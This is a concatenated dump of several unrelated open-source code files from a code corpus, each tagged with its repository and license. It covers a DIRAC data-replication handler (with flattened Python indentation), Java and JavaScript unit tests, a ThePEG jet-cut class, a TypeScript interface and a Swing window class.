noReplicas = False
if not replicas:
allReplicas = dataManager.getReplicas( opFile.LFN )
if allReplicas['OK']:
allReplicas = allReplicas['Value']['Successful'].get( opFile.LFN, {} )
if not allReplicas:
ret['NoReplicas'].append( None )
noReplicas = True
else:
# We try inactive replicas to see if maybe the file doesn't exist at all
replicas = allReplicas
log.warn( "File has no%s replica in File Catalog" % ( '' if noReplicas else ' active' ), opFile.LFN )
else:
return allReplicas
if not opFile.Checksum or hexAdlerToInt( opFile.Checksum ) == False:
# Set Checksum to FC checksum if not set in the request
fcMetadata = FileCatalog().getFileMetadata( opFile.LFN )
fcChecksum = fcMetadata.get( 'Value', {} ).get( 'Successful', {} ).get( opFile.LFN, {} ).get( 'Checksum' )
# Replace opFile.Checksum if it doesn't match a valid FC checksum
if fcChecksum:
if hexAdlerToInt( fcChecksum ) != False:
opFile.Checksum = fcChecksum
opFile.ChecksumType = fcMetadata['Value']['Successful'][opFile.LFN].get( 'ChecksumType', 'Adler32' )
else:
opFile.Checksum = None
for repSEName in replicas:
repSEMetadata = StorageElement( repSEName ).getFileMetadata( opFile.LFN )
error = repSEMetadata.get( 'Message', repSEMetadata.get( 'Value', {} ).get( 'Failed', {} ).get( opFile.LFN ) )
if error:
log.warn( 'unable to get metadata at %s for %s' % ( repSEName, opFile.LFN ), error.replace( '\n', '' ) )
if 'File does not exist' in error:
ret['NoReplicas'].append( repSEName )
else:
ret["NoMetadata"].append( repSEName )
elif not noReplicas:
repSEMetadata = repSEMetadata['Value']['Successful'][opFile.LFN]
seChecksum = hexAdlerToInt( repSEMetadata.get( "Checksum" ) )
# As from here seChecksum is an integer or False, not a hex string!
if seChecksum == False and opFile.Checksum:
ret['NoMetadata'].append( repSEName )
elif not seChecksum and opFile.Checksum:
opFile.Checksum = None
opFile.ChecksumType = None
elif seChecksum and ( not opFile.Checksum or opFile.Checksum == 'False' ):
# Use the SE checksum (convert to hex) and force type to be Adler32
opFile.Checksum = intAdlerToHex( seChecksum )
opFile.ChecksumType = 'Adler32'
if not opFile.Checksum or not seChecksum or compareAdler( intAdlerToHex( seChecksum ), opFile.Checksum ):
# # All checksums are OK
ret["Valid"].append( repSEName )
else:
log.warn( " %s checksum mismatch, FC: '%s' @%s: '%s'" % ( opFile.LFN,
opFile.Checksum,
repSEName,
intAdlerToHex( seChecksum ) ) )
ret["Bad"].append( repSEName )
else:
# If a replica was found somewhere, don't set the file as no replicas
ret['NoReplicas'] = []
return S_OK( ret )
########################################################################
class ReplicateAndRegister( DMSRequestOperationsBase ):
"""
.. class:: ReplicateAndRegister
ReplicateAndRegister operation handler
"""
def __init__( self, operation = None, csPath = None ):
"""c'tor
:param self: self reference
:param Operation operation: Operation instance
:param str csPath: CS path for this handler
"""
super( ReplicateAndRegister, self ).__init__( operation, csPath )
# # own gMonitor stuff for files
gMonitor.registerActivity( "ReplicateAndRegisterAtt", "Replicate and register attempted",
"RequestExecutingAgent", "Files/min", gMonitor.OP_SUM )
gMonitor.registerActivity( "ReplicateOK", "Replications successful",
"RequestExecutingAgent", "Files/min", gMonitor.OP_SUM )
gMonitor.registerActivity( "ReplicateFail", "Replications failed",
"RequestExecutingAgent", "Files/min", gMonitor.OP_SUM )
gMonitor.registerActivity( "RegisterOK", "Registrations successful",
"RequestExecutingAgent", "Files/min", gMonitor.OP_SUM )
gMonitor.registerActivity( "RegisterFail", "Registrations failed",
"RequestExecutingAgent", "Files/min", gMonitor.OP_SUM )
# # for FTS
gMonitor.registerActivity( "FTSScheduleAtt", "Files schedule attempted",
"RequestExecutingAgent", "Files/min", gMonitor.OP_SUM )
gMonitor.registerActivity( "FTSScheduleOK", "File schedule successful",
"RequestExecutingAgent", "Files/min", gMonitor.OP_SUM )
gMonitor.registerActivity( "FTSScheduleFail", "File schedule failed",
"RequestExecutingAgent", "Files/min", gMonitor.OP_SUM )
# # SE cache
# Clients
self.fc = FileCatalog()
def __call__( self ):
""" call me maybe """
# # check replicas first
checkReplicas = self.__checkReplicas()
if not checkReplicas["OK"]:
self.log.error( 'Failed to check replicas', checkReplicas["Message"] )
if hasattr( self, "FTSMode" ) and getattr( self, "FTSMode" ):
bannedGroups = getattr( self, "FTSBannedGroups" ) if hasattr( self, "FTSBannedGroups" ) else ()
if self.request.OwnerGroup in bannedGroups:
self.log.verbose( "usage of FTS system is banned for request's owner" )
return self.dmTransfer()
if getattr( self, 'UseNewFTS3', False ):
return self.fts3Transfer()
else:
return self.ftsTransfer()
return self.dmTransfer()
def __checkReplicas( self ):
""" check done replicas and update file states """
waitingFiles = dict( [ ( opFile.LFN, opFile ) for opFile in self.operation
if opFile.Status in ( "Waiting", "Scheduled" ) ] )
targetSESet = set( self.operation.targetSEList )
replicas = self.fc.getReplicas( waitingFiles.keys() )
if not replicas["OK"]:
self.log.error( 'Failed to get replicas', replicas["Message"] )
return replicas
reMissing = re.compile( r".*such file.*" )
for failedLFN, errStr in replicas["Value"]["Failed"].iteritems():
waitingFiles[failedLFN].Error = errStr
if reMissing.search( errStr.lower() ):
self.log.error( "File does not exists", failedLFN )
gMonitor.addMark( "ReplicateFail", len( targetSESet ) )
waitingFiles[failedLFN].Status = "Failed"
for successfulLFN, reps in replicas["Value"]["Successful"].iteritems():
if targetSESet.issubset( set( reps ) ):
self.log.info( "file %s has been replicated to all targets" % successfulLFN )
waitingFiles[successfulLFN].Status = "Done"
return S_OK()
def _addMetadataToFiles( self, toSchedule ):
""" Add metadata to those files that need to be scheduled through FTS
toSchedule is a dictionary:
{'lfn1': opFile, 'lfn2': opFile}
"""
if toSchedule:
self.log.info( "found %s files to schedule, getting metadata from FC" % len( toSchedule ) )
else:
self.log.info( "No files to schedule" )
return S_OK()
res = self.fc.getFileMetadata( toSchedule.keys() )
if not res['OK']:
return res
else:
if res['Value']['Failed']:
self.log.warn( "Can't schedule %d files: problems getting the metadata: %s" % ( len( res['Value']['Failed'] ),
', '.join( res['Value']['Failed'] ) ) )
metadata = res['Value']['Successful']
filesToSchedule = {}
for lfn, lfnMetadata in metadata.iteritems():
opFileToSchedule = toSchedule[lfn][0]
opFileToSchedule.GUID = lfnMetadata['GUID']
# In principle this is defined already in filterReplicas()
if not opFileToSchedule.Checksum:
opFileToSchedule.Checksum = metadata[lfn]['Checksum']
opFileToSchedule.ChecksumType = metadata[lfn]['ChecksumType']
opFileToSchedule.Size = metadata[lfn]['Size']
filesToSchedule[opFileToSchedule.LFN] = opFileToSchedule
return S_OK( filesToSchedule )
def _filterReplicas( self, opFile ):
""" filter out banned/invalid source SEs """
return filterReplicas( opFile, logger = self.log, dataManager = self.dm )
def ftsTransfer( self ):
""" replicate and register using FTS """
self.log.info( "scheduling files in FTS..." )
bannedTargets = self.checkSEsRSS()
if not bannedTargets['OK']:
gMonitor.addMark( "FTSScheduleAtt" )
gMonitor.addMark( "FTSScheduleFail" )
return bannedTargets
if bannedTargets['Value']:
return S_OK( "%s targets are banned for writing" % ",".join( bannedTargets['Value'] ) )
# Can continue now
self.log.verbose( "No targets banned for writing" )
toSchedule = {}
for opFile in self.getWaitingFilesList():
opFile.Error = ''
gMonitor.addMark( "FTSScheduleAtt" )
# # check replicas
replicas = self._filterReplicas( opFile )
if not replicas["OK"]:
continue
replicas = replicas["Value"]
validReplicas = replicas["Valid"]
noMetaReplicas = replicas["NoMetadata"]
noReplicas = replicas['NoReplicas']
badReplicas = replicas['Bad']
noPFN = replicas['NoPFN']
if validReplicas:
validTargets = list( set( self.operation.targetSEList ) - set( validReplicas ) )
if not validTargets:
self.log.info( "file %s is already present at all targets" % opFile.LFN )
opFile.Status = "Done"
else:
toSchedule[opFile.LFN] = [ opFile, validReplicas, validTargets ]
else:
gMonitor.addMark( "FTSScheduleFail" )
if noMetaReplicas:
self.log.warn( "unable to schedule '%s', couldn't get metadata at %s" % ( opFile.LFN, ','.join( noMetaReplicas ) ) )
opFile.Error = "Couldn't get metadata"
elif noReplicas:
self.log.error( "Unable to schedule transfer",
"File %s doesn't exist at %s" % ( opFile.LFN, ','.join( noReplicas ) ) )
opFile.Error = 'No replicas found'
opFile.Status = 'Failed'
elif badReplicas:
self.log.error( "Unable to schedule transfer",
"File %s, all replicas have a bad checksum at %s" % ( opFile.LFN, ','.join( badReplicas ) ) )
opFile.Error = 'All replicas have a bad checksum'
opFile.Status = 'Failed'
elif noPFN:
self.log.warn( "unable to schedule %s, could not get a PFN at %s" % ( opFile.LFN, ','.join( noPFN ) ) )
filesToScheduleList = []
res = self._addMetadataToFiles( toSchedule )
if not res['OK']:
return res
else:
filesToSchedule = res['Value']
for lfn in filesToSchedule:
filesToScheduleList.append( ( filesToSchedule[lfn][0].toJSON()['Value'],
toSchedule[lfn][1],
toSchedule[lfn][2] ) )
if filesToScheduleList:
ftsSchedule = FTSClient().ftsSchedule( self.request.RequestID,
self.operation.OperationID,
filesToScheduleList )
if not ftsSchedule["OK"]:
self.log.error( "Completely failed to schedule to FTS:", ftsSchedule["Message"] )
return ftsSchedule
# might have nothing to schedule
ftsSchedule = ftsSchedule["Value"]
if not ftsSchedule:
return S_OK()
self.log.info( "%d files have been scheduled to FTS" % len( ftsSchedule['Successful'] ) )
for opFile in self.operation:
fileID = opFile.FileID
if fileID in ftsSchedule["Successful"]:
gMonitor.addMark( "FTSScheduleOK", 1 )
opFile.Status = "Scheduled"
self.log.debug( "%s has been scheduled for FTS" % opFile.LFN )
elif fileID in ftsSchedule["Failed"]:
gMonitor.addMark( "FTSScheduleFail", 1 )
opFile.Error = ftsSchedule["Failed"][fileID]
if 'sourceSURL equals to targetSURL' in opFile.Error:
# In this case there is no need to continue
opFile.Status = 'Failed'
self.log.warn( "unable to schedule %s for FTS: %s" % ( opFile.LFN, opFile.Error ) )
else:
self.log.info( "No files to schedule after metadata checks" )
# Just in case some transfers could not be scheduled, try them with RM
return self.dmTransfer( fromFTS = True )
def fts3Transfer( self ):
""" replicate and register using FTS3 """
self.log.info( "scheduling files in FTS3..." )
fts3Files = []
toSchedule = {}
# Dict which maps the FileID to the object
rmsFilesIds = {}
for opFile in self.getWaitingFilesList():
rmsFilesIds[opFile.FileID] = opFile
opFile.Error = ''
gMonitor.addMark( "FTSScheduleAtt" )
# # check replicas
replicas = self._filterReplicas( opFile )
if not replicas["OK"]:
continue
replicas = replicas["Value"]
validReplicas = replicas["Valid"]
noMetaReplicas = replicas["NoMetadata"]
noReplicas = replicas['NoReplicas']
badReplicas = replicas['Bad']
noPFN = replicas['NoPFN']
if validReplicas:
validTargets = list( set( self.operation.targetSEList ) - set( validReplicas ) )
if not validTargets:
self.log.info( "file %s is already present at all targets" % opFile.LFN )
opFile.Status = "Done"
else:
toSchedule[opFile.LFN] = [ opFile, validTargets ]
else:
gMonitor.addMark( "FTSScheduleFail" )
if noMetaReplicas:
self.log.warn( "unable to schedule '%s', couldn't get metadata at %s" % ( opFile.LFN, ','.join( noMetaReplicas ) ) )
opFile.Error = "Couldn't get metadata"
elif noReplicas:
self.log.error( "Unable to schedule transfer",
"File %s doesn't exist at %s" % ( opFile.LFN, ','.join( noReplicas ) ) )
opFile.Error = 'No replicas found'
opFile.Status = 'Failed'
elif badReplicas:
self.log.error( "Unable to schedule transfer",
"File %s, all replicas have a bad checksum at %s" % ( opFile.LFN, ','.join( badReplicas ) ) )
opFile.Error = 'All replicas have a bad checksum'
opFile.Status = 'Failed'
elif noPFN:
self.log.warn( "unable to schedule %s, could not get a PFN at %s" % ( opFile.LFN, ','.join( noPFN ) ) )
res = self._addMetadataToFiles( toSchedule )
if not res['OK']:
return res
else:
filesToSchedule = res['Value']
for lfn in filesToSchedule:
opFile = filesToSchedule[lfn]
validTargets = toSchedule[lfn][1]
for targetSE in validTargets:
ftsFile = FTS3File.fromRMSFile( opFile, targetSE )
fts3Files.append( ftsFile )
if fts3Files:
res = Registry.getUsernameForDN( self.request.OwnerDN )
if not res['OK']:
self.log.error( "Cannot get username for DN", "%s %s" % ( self.request.OwnerDN, res['Message'] ) )
return res
username = res['Value']
fts3Operation = FTS3TransferOperation.fromRMSObjects( self.request, self.operation, username )
fts3Operation.ftsFiles = fts3Files
ftsSchedule = FTS3Client().persistOperation( fts3Operation )
if not ftsSchedule["OK"]:
self.log.error( "Completely failed to schedule to FTS3:", ftsSchedule["Message"] )
return ftsSchedule
# might have nothing to schedule
ftsSchedule = ftsSchedule["Value"]
self.log.info( "Scheduled with FTS3Operation id %s" % ftsSchedule )
self.log.info( "%d files have been scheduled to FTS3" % len( fts3Files ) )
for ftsFile in fts3Files:
opFile = rmsFilesIds[ftsFile.rmsFileID]
gMonitor.addMark( "FTSScheduleOK", 1 )
opFile.Status = "Scheduled"
self.log.debug( "%s has been scheduled for FTS" % opFile.LFN )
else:
self.log.info( "No files to schedule after metadata checks" )
# Just in case some transfers could not be scheduled, try them with RM
return self.dmTransfer( fromFTS = True )
def dmTransfer( self, fromFTS = False ):
""" replicate and register using dataManager """
# # get waiting files. If none just return
# # source SE
sourceSE = self.operation.SourceSE if self.operation.SourceSE else None
if sourceSE:
# # check source se for read
bannedSource = self.checkSEsRSS( sourceSE, 'ReadAccess' )
if not bannedSource["OK"]:
gMonitor.addMark( "ReplicateAndRegisterAtt", len( self.operation ) )
gMonitor.addMark( "ReplicateFail", len( self.operation ) )
return bannedSource
if bannedSource["Value"]:
self.operation.Error = "SourceSE %s is banned for reading" % sourceSE
self.log.info( self.operation.Error )
return S_OK( self.operation.Error )
# # check targetSEs for write
bannedTargets = self.checkSEsRSS()
if not bannedTargets['OK']:
gMonitor.addMark( "ReplicateAndRegisterAtt", len( self.operation ) )
gMonitor.addMark( "ReplicateFail", len( self.operation ) )
return bannedTargets
if bannedTargets['Value']:
self.operation.Error = "%s targets are banned for writing" % ",".join( bannedTargets['Value'] )
return S_OK( self.operation.Error )
# Can continue now
self.log.verbose( "No targets banned for writing" )
waitingFiles = self.getWaitingFilesList()
if not waitingFiles:
return S_OK()
# # loop over files
if fromFTS:
self.log.info( "Trying transfer using replica manager as FTS failed" )
else:
self.log.info( "Transferring files using Data manager..." )
for opFile in waitingFiles:
gMonitor.addMark( "ReplicateAndRegisterAtt", 1 )
opFile.Error = ''
lfn = opFile.LFN
# Check if replica is at the specified source
replicas = self._filterReplicas( opFile )
if not replicas["OK"]:
self.log.error( 'Failed to check replicas', replicas["Message"] )
continue
replicas = replicas["Value"]
validReplicas = replicas["Valid"]
noMetaReplicas = replicas["NoMetadata"]
noReplicas = replicas['NoReplicas']
badReplicas = replicas['Bad']
noPFN = replicas['NoPFN']
if not validReplicas:
gMonitor.addMark( "ReplicateFail" )
if noMetaReplicas:
self.log.warn( "unable to replicate '%s', couldn't get metadata at %s" % ( opFile.LFN, ','.join( noMetaReplicas ) ) )
opFile.Error = "Couldn't get metadata"
elif noReplicas:
self.log.error( "Unable to replicate", "File %s doesn't exist at %s" % ( opFile.LFN, ','.join( noReplicas ) ) )
opFile.Error = 'No replicas found'
opFile.Status = 'Failed'
elif badReplicas:
self.log.error( "Unable to replicate", "%s, all replicas have a bad checksum at %s" % ( opFile.LFN, ','.join( badReplicas ) ) )
opFile.Error = 'All replicas have a bad checksum'
opFile.Status = 'Failed'
elif noPFN:
self.log.warn( "unable to replicate %s, could not get a PFN" % opFile.LFN )
continue
# # get the first one in the list
if sourceSE not in validReplicas:
if sourceSE:
self.log.warn( "%s is not at specified sourceSE %s, changed to %s" % ( lfn, sourceSE, validReplicas[0] ) )
sourceSE = validReplicas[0]
# # loop over targetSE
catalogs = self.operation.Catalog
if catalogs:
catalogs = [ cat.strip() for cat in catalogs.split( ',' ) ]
for targetSE in self.operation.targetSEList:
# # call DataManager
if targetSE in validReplicas:
self.log.warn( "Request to replicate %s to an existing location: %s" % ( lfn, targetSE ) )
opFile.Status = 'Done'
continue
res = self.dm.replicateAndRegister( lfn, targetSE, sourceSE = sourceSE, catalog = catalogs )
if res["OK"]:
if lfn in res["Value"]["Successful"]:
if "replicate" in res["Value"]["Successful"][lfn]:
repTime = res["Value"]["Successful"][lfn]["replicate"]
prString = "file %s replicated at %s in %s s." % ( lfn, targetSE, repTime )
gMonitor.addMark( "ReplicateOK", 1 )
if "register" in res["Value"]["Successful"][lfn]:
gMonitor.addMark( "RegisterOK", 1 )
regTime = res["Value"]["Successful"][lfn]["register"]
prString += ' and registered in %s s.' % regTime
self.log.info( prString )
else:
gMonitor.addMark( "RegisterFail", 1 )
prString += " but failed to register"
self.log.warn( prString )
opFile.Error = "Failed to register"
# # add register replica operation
registerOperation = self.getRegisterOperation( opFile, targetSE, type = 'RegisterReplica' )
self.request.insertAfter( registerOperation, self.operation )
else:
self.log.error( "Failed to replicate", "%s to %s" % ( lfn, targetSE ) )
gMonitor.addMark( "ReplicateFail", 1 )
opFile.Error = "Failed to replicate"
else:
gMonitor.addMark( "ReplicateFail", 1 )
reason = res["Value"]["Failed"][lfn]
self.log.error( "Failed to replicate and register", "File %s at %s:" % ( lfn, targetSE ), reason )
opFile.Error = reason
else:
gMonitor.addMark( "ReplicateFail", 1 )
opFile.Error = "DataManager error: %s" % res["Message"]
self.log.error( "DataManager error", res["Message"] )
if not opFile.Error:
if len( self.operation.targetSEList ) > 1:
self.log.info( "file %s has been replicated to all targetSEs" % lfn )
opFile.Status = "Done"
return S_OK()
| gpl-3.0 |
IKB4Stream/IKB4Stream | src/test/com/waves_rsp/ikb4stream/datasource/rss/RSSProducerConnectorTest.java | 749 | package com.waves_rsp.ikb4stream.datasource.rss;
import org.junit.Before;
import org.junit.Test;
public class RSSProducerConnectorTest {
private RSSProducerConnector rss;
@Before
@Test
public void testCreateRSSProducer() {
rss = new RSSProducerConnector();
}
@Test(expected = NullPointerException.class)
public void testLoadNullDataProducer() {
rss.load(null);
}
@Test
public void testLoad() {
Thread t = new Thread(() -> rss.load(event -> {
// Do nothing
}));
t.start();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
// Do nothing
} finally {
t.interrupt();
}
}
}
| gpl-3.0 |
jozsi/wealthor | src/backend/__tests__/wallet.route.js | 1639 | const omit = require('object.omit');
const supertest = require('supertest');
const DATA = require('./wallet.json');
const app = require('../app');
const db = require('../db');
const Wallet = require('../models/wallet');
const ROUTE = '/wallet';
describe('wallet', () => {
let server;
let request;
let wallet;
beforeAll(async () => {
await db.connect(process.env.TEST_DB_URI);
await Wallet.deleteMany({});
server = app.listen();
request = supertest(server);
});
it('should create a wallet', async () => {
const response = await request
.post(ROUTE)
.set('Authorization', `Bearer ${DATA.$token}`)
.send(DATA)
.expect(200);
wallet = response.body;
expect(wallet.id).toHaveLength(24);
});
it('should read wallets', async () => {
await request
.get(`${ROUTE}`)
.set('Authorization', `Bearer ${DATA.$token}`)
.expect(200)
.expect([wallet]);
});
// Update this test with forecasting/charts support
it('should read wallet', async () => {
const response = await request
.get(`${ROUTE}/${wallet.id}`)
.set('Authorization', `Bearer ${DATA.$token}`)
.expect(200);
expect(omit(response.body, 'charts')).toEqual(wallet);
});
it('should update wallet', async () => {
const updatedWallet = Object.assign({}, wallet, { name: 'Renamed wallet' });
await request
.put(`${ROUTE}/${wallet.id}`)
.set('Authorization', `Bearer ${DATA.$token}`)
.send(updatedWallet)
.expect(200)
.expect(updatedWallet);
});
afterAll(() => {
server.close();
return db.disconnect();
});
});
| gpl-3.0 |
KBerstene/Subsonic | app/src/main/java/github/daneren2005/dsub/activity/SettingsActivity.java | 2072 | /*
This file is part of Subsonic.
Subsonic is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Subsonic is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Subsonic. If not, see <http://www.gnu.org/licenses/>.
Copyright 2009 (C) Sindre Mehus
*/
package github.daneren2005.dsub.activity;
import android.annotation.TargetApi;
import android.os.Build;
import android.os.Bundle;
import android.support.v7.widget.Toolbar;
import github.daneren2005.dsub.R;
import github.daneren2005.dsub.fragments.PreferenceCompatFragment;
import github.daneren2005.dsub.fragments.SettingsFragment;
import github.daneren2005.dsub.util.Constants;
public class SettingsActivity extends SubsonicActivity {
private static final String TAG = SettingsActivity.class.getSimpleName();
private PreferenceCompatFragment fragment;
@TargetApi(Build.VERSION_CODES.ICE_CREAM_SANDWICH_MR1)
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
lastSelectedPosition = R.id.drawer_settings;
setContentView(R.layout.settings_activity);
if (savedInstanceState == null) {
fragment = new SettingsFragment();
Bundle args = new Bundle();
args.putInt(Constants.INTENT_EXTRA_FRAGMENT_TYPE, R.xml.settings);
fragment.setArguments(args);
fragment.setRetainInstance(true);
currentFragment = fragment;
currentFragment.setPrimaryFragment(true);
getSupportFragmentManager().beginTransaction().add(R.id.fragment_container, currentFragment, currentFragment.getSupportTag() + "").commit();
}
Toolbar mainToolbar = (Toolbar) findViewById(R.id.main_toolbar);
setSupportActionBar(mainToolbar);
}
}
| gpl-3.0 |
alisw/thepeg | Cuts/NJetsCut.cc | 2967 | // -*- C++ -*-
//
// NJetsCut.cc is a part of ThePEG - Toolkit for HEP Event Generation
// Copyright (C) 1999-2019 Leif Lonnblad
// Copyright (C) 2009-2019 Simon Platzer
//
// ThePEG is licenced under version 3 of the GPL, see COPYING for details.
// Please respect the MCnet academic guidelines, see GUIDELINES for details.
//
//
// This is the implementation of the non-inlined, non-templated member
// functions of the NJetsCut class.
//
#include "NJetsCut.h"
#include "ThePEG/Interface/ClassDocumentation.h"
#include "ThePEG/Interface/Parameter.h"
#include "ThePEG/Interface/Switch.h"
#include "ThePEG/Interface/Reference.h"
#include "ThePEG/PDT/ParticleData.h"
#include "ThePEG/PDT/EnumParticles.h"
#include "ThePEG/Persistency/PersistentOStream.h"
#include "ThePEG/Persistency/PersistentIStream.h"
#include "ThePEG/Repository/CurrentGenerator.h"
using namespace ThePEG;
NJetsCut::NJetsCut()
: nJetsMin(0), nJetsMax(-1) {}
NJetsCut::~NJetsCut() {}
void NJetsCut::describe() const {
CurrentGenerator::log()
<< fullName() << ": requires ";
if ( nJetsMin > 0 )
CurrentGenerator::log() << "at least "
<< nJetsMin;
if ( nJetsMax > 0 )
CurrentGenerator::log() << " and at most "
<< nJetsMax;
CurrentGenerator::log() << " jets.\n";
}
IBPtr NJetsCut::clone() const {
return new_ptr(*this);
}
IBPtr NJetsCut::fullclone() const {
return new_ptr(*this);
}
void NJetsCut::persistentOutput(PersistentOStream & os) const {
os << unresolvedMatcher
<< nJetsMin << nJetsMax;
}
void NJetsCut::persistentInput(PersistentIStream & is, int) {
is >> unresolvedMatcher
>> nJetsMin >> nJetsMax;
}
bool NJetsCut::passCuts(tcCutsPtr, const tcPDVector & ptype,
const vector<LorentzMomentum> & p) const {
tcPDVector::const_iterator ptit = ptype.begin();
vector<LorentzMomentum>::const_iterator pit = p.begin();
int njets = 0;
for ( ; ptit != ptype.end(); ++ptit, ++pit )
if ( unresolvedMatcher->check(**ptit) ) {
++njets;
}
if ( nJetsMax > 0 )
return njets >= nJetsMin && njets <= nJetsMax;
return njets >= nJetsMin;
}
ClassDescription<NJetsCut> NJetsCut::initNJetsCut;
// Definition of the static class description member.
void NJetsCut::Init() {
static ClassDocumentation<NJetsCut> documentation
("NJetsCut is a simple cut on jet multiplicity.");
static Reference<NJetsCut,MatcherBase> interfaceUnresolvedMatcher
("UnresolvedMatcher",
"A matcher identifying unresolved partons",
&NJetsCut::unresolvedMatcher, false, false, true, false, false);
static Parameter<NJetsCut,int> interfaceNJetsMin
("NJetsMin",
"The minimum number of jets required.",
&NJetsCut::nJetsMin, 0, 0, 0,
false, false, Interface::lowerlim);
static Parameter<NJetsCut,int> interfaceNJetsMax
("NJetsMax",
"The maximum number of jets allowed. If -1 no limit is imposed.",
&NJetsCut::nJetsMax, -1, -1, 0,
false, false, Interface::lowerlim);
}
| gpl-3.0 |
justmesr/web-ui | src/app/core/dto/group.ts | 878 | /*
* Lumeer: Modern Data Definition and Processing Platform
*
* Copyright (C) since 2017 Answer Institute, s.r.o. and/or its affiliates.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
export interface Group {
id?: string;
name: string;
description?: string;
}
| gpl-3.0 |
gorkinovich/Icarus | src/icaro/aplicaciones/recursos/visualizacionAcceso/imp/swing/VentanaEstandar.java | 1253 | package icaro.aplicaciones.recursos.visualizacionAcceso.imp.swing;
import java.awt.Dimension;
import java.awt.Toolkit;
import javax.swing.JFrame;
import javax.swing.JMenuBar;
import javax.swing.JPanel;
/**
*
*@author Felipe Polo
*@created 30 de noviembre de 2007
*/
public class VentanaEstandar extends JFrame {
private static final long serialVersionUID = 1L;
public void mostrar() {
this.setVisible(true);
}
public void ocultar() {
this.setVisible(false);
}
public void destruir() {
this.dispose();
}
public void setDimension(int ancho,int alto) {
this.setSize(ancho,alto);
}
public void setPosicion(int horizontal,int vertical) {
this.setLocation(horizontal,vertical);
}
public void setPosicionCentrada(int ancho,int alto) {
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
this.setLocation((int)((screenSize.getWidth()-ancho)/2),(int)((screenSize.getHeight()-alto)/3));
}
public void setOpcionMaximizar(boolean estado) {
this.setResizable(estado);
}
public void setTitulo(String titulo) {
this.setTitle(titulo);
}
public void setMenu(JMenuBar menu) {
this.setJMenuBar(menu);
}
public void setPanel(JPanel panel) {
this.setContentPane(panel);
}
}
| gpl-3.0 |
seadas/beam | beam-ui/src/test/java/org/esa/beam/framework/ui/product/spectrum/DisplayableSpectrumTest.java | 3971 | package org.esa.beam.framework.ui.product.spectrum;
import junit.framework.TestCase;
import org.esa.beam.framework.datamodel.Band;
import org.esa.beam.framework.datamodel.ProductData;
/**
* Created by E1001827 on 21.2.2014.
*/
public class DisplayableSpectrumTest extends TestCase {
public void testNewDisplayableSpectrumIsSetupCorrectly() {
String spectrumName = "name";
DisplayableSpectrum displayableSpectrum = new DisplayableSpectrum(spectrumName, 1);
assertEquals(spectrumName, displayableSpectrum.getName());
assertEquals(DisplayableSpectrum.NO_UNIT, displayableSpectrum.getUnit());
assertEquals(null, displayableSpectrum.getLineStyle());
assertEquals(SpectrumShapeProvider.DEFAULT_SCALE_GRADE, displayableSpectrum.getSymbolSize());
assertEquals(SpectrumShapeProvider.getScaledShape(1, SpectrumShapeProvider.DEFAULT_SCALE_GRADE),
displayableSpectrum.getScaledShape());
assertEquals(1, displayableSpectrum.getSymbolIndex());
assertEquals(true, displayableSpectrum.isSelected());
assertEquals(false, displayableSpectrum.isRemainingBandsSpectrum());
assertEquals(false, displayableSpectrum.hasBands());
assertEquals(0, displayableSpectrum.getSpectralBands().length);
assertEquals(0, displayableSpectrum.getSelectedBands().length);
}
public void testNewDisplayableSpectrumIsSetUpCorrectlyWithBands() {
String spectrumName = "name";
SpectrumBand[] spectralBands = new SpectrumBand[2];
for (int i = 0; i < spectralBands.length; i++) {
Band band = createBand(i);
band.setUnit("unit");
spectralBands[i] = new SpectrumBand(band, true);
}
DisplayableSpectrum displayableSpectrum = new DisplayableSpectrum(spectrumName, spectralBands, 1);
assertEquals(spectrumName, displayableSpectrum.getName());
assertEquals("unit", displayableSpectrum.getUnit());
assertEquals(true, displayableSpectrum.hasBands());
assertEquals(2, displayableSpectrum.getSpectralBands().length);
assertEquals(2, displayableSpectrum.getSelectedBands().length);
assertEquals(true, displayableSpectrum.isBandSelected(0));
assertEquals(true, displayableSpectrum.isBandSelected(1));
}
public void testBandsAreAddedCorrectlyToDisplayableSpectrum() {
String spectrumName = "name";
DisplayableSpectrum displayableSpectrum = new DisplayableSpectrum(spectrumName, 1);
SpectrumBand[] bands = new SpectrumBand[3];
for (int i = 0; i < bands.length; i++) {
Band band = createBand(i);
band.setUnit("unit" + i);
bands[i] = new SpectrumBand(band, i%2 == 0);
displayableSpectrum.addBand(bands[i]);
}
assertEquals(spectrumName, displayableSpectrum.getName());
assertEquals(DisplayableSpectrum.MIXED_UNITS, displayableSpectrum.getUnit());
assertEquals(true, displayableSpectrum.hasBands());
assertEquals(3, displayableSpectrum.getSpectralBands().length);
assertEquals(bands[0].getOriginalBand(), displayableSpectrum.getSpectralBands()[0]);
assertEquals(bands[1].getOriginalBand(), displayableSpectrum.getSpectralBands()[1]);
assertEquals(bands[2].getOriginalBand(), displayableSpectrum.getSpectralBands()[2]);
assertEquals(2, displayableSpectrum.getSelectedBands().length);
assertEquals(bands[0].getOriginalBand(), displayableSpectrum.getSpectralBands()[0]);
assertEquals(bands[2].getOriginalBand(), displayableSpectrum.getSpectralBands()[2]);
assertEquals(true, displayableSpectrum.isBandSelected(0));
assertEquals(false, displayableSpectrum.isBandSelected(1));
assertEquals(true, displayableSpectrum.isBandSelected(2));
}
private Band createBand(int number) {
return new Band("name" + number, ProductData.TYPE_INT8, 1, 1);
}
}
| gpl-3.0 |
MyronZimmerman/holostor | HoloStorLib/CodingTable.cpp | 6376 | /* Copyright (C) 2003-2011 Thomas P. Scott and Myron Zimmerman
Thomas P. Scott <tpscott@alum.mit.edu>
Myron Zimmerman <MyronZimmerman@alum.mit.edu>
This file is part of HoloStor.
HoloStor is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 3 of the License.
HoloStor is distributed in the hope that it will be useful,
